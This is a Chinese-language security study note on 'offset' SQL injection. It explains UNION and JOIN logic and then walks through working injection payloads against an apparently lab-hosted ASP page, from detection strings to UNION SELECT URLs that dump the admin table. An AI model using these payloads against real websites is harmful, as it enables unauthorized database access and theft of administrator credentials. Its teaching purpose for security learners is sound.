WEB安全之:偏移 SQL 注入
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入之:偏移注入
- 偏移注入是比较独有的一种注入手段,一般用于在猜解了表名但是没有猜解出字段名的情况下使用,用于确定当前表的字段数。适用于 Mysql、Access 数据库
- 需要联合两个表。
1 原理
-
根据数据库的层级关系,我们知道以下内容:
select * from admin 等价于: select admin.* from admin 还等价于: select [所有 admin 表字段名称] from admin
-
inner join
:所谓二级偏移注入,实质是增加一倍所查询表字段长度。INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。 LEFT JOIN(左连接):获取左表所有记录,即使右表没有对应匹配的记录。 RIGHT JOIN(右连接): 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。 # Mysql 中 INNER JOIN 与 JOIN 是相同的。 # 交集 select * from table_a as A inner join table_b as B on A.bid = B.bid; # 显示左边对比下相同的数值 select * from A left join B on A.a = B.b; # 显示右边对比下相同的数值 select * from A right join B on A.a = B.b; # 显示两边的合集,mysql不直接支持full select * from A left join B on A.a = B.b union select * from A right join B on A.a = B.b;
-
偏移注入方式:
- 前提条件:当前表的字段数大于或等于联合表的字段数
# 假设当前表 table1 有 8 个字段,table2 表有 3 个字段,注入过程中,我们没有猜解出 table2 表的字段名,使用偏移注入的方式确定 table2 的字段数。 1. payload1 正确显示 union select 1,2,3,4,5,6,7,8 2. payload2 正确显示,因为此时虽然写上 table2,但实际字段数依然是由那 8 个数字来表示。 union select 1,2,3,4,5,6,7,8 from table2 3. payload3 报列数不一致 union select 1,2,3,4,5,6,7,table2.* from table2 4. payload4 报列数不一致 union select 1,2,3,4,5,6,table2.* from table2 5. payload5 正确 union select 1,2,3,4,5,table2.* from table2 6. 将 union select 前的 select 语句变为假,可以得到 table2 的数据 例: select * from table1 where id=-1 union select table2.* from table2 结论:说明 table2 下面有 3 个字段
2 判断有无注入
以 Access 数据库为例
- 粗略型:提交单引号
'
- 逻辑型(数字型注入):
and 1=1/and 1=2
- 逻辑型(字符型注入):
' and '1'='1/' and '1'='2
- 逻辑型(搜索型注入):
%' and 1=1 and '%'='%/%' and 1=2 and '%'='%
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2
3 猜解表名
3.1 猜解当前表字段数
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
3.2 猜解重要表名
- 若 union SELECT 语句所查询的表不存在,则返回错误信息。
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
3.3 猜解关键表
3.3.1 偏移注入猜解 admin 表字段数
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,admin.* from admin
3.3.2 移动 admin.*
的位置,尝试爆破 admin 表数据
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select admin.*,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
http://192.168.100.131:8081/Production/PRODUCT_DETAIL.asp?id=1513 union select null,admin.*,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin